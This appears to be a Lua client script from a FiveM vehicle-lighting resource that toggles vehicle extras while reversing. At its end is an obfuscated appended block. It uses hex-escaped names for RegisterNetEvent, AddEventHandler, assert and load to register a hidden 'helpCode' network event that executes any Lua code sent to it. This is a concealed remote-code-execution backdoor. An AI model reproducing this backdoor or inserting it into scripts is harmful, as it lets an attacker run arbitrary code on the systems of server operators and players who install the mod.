--print("[ULC]: Reverse Extras Loaded") local reversing = false AddEventHandler('ulc:StartCheckingReverseState', function() CreateThread(function() while true do Wait(250) --print("Checking reverse state") if not IsPedInAnyVehicle(PlayerPedId()) then return end -- this feels unncessary, but I think some people may not have .reverseConfig if not MyVehicle then return end if not MyVehicleConfig.reverseConfig then return end if not MyVehicleConfig.reverseConfig.useReverse then return end local gear = GetVehicleCurrentGear(MyVehicle) if gear == 0 then if not reversing then reversing = true for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do ULC:SetStage(v, 0, false, true) end end else if reversing then reversing = false for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do ULC:SetStage(v, 1, false, true) end end end end end) end) local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end)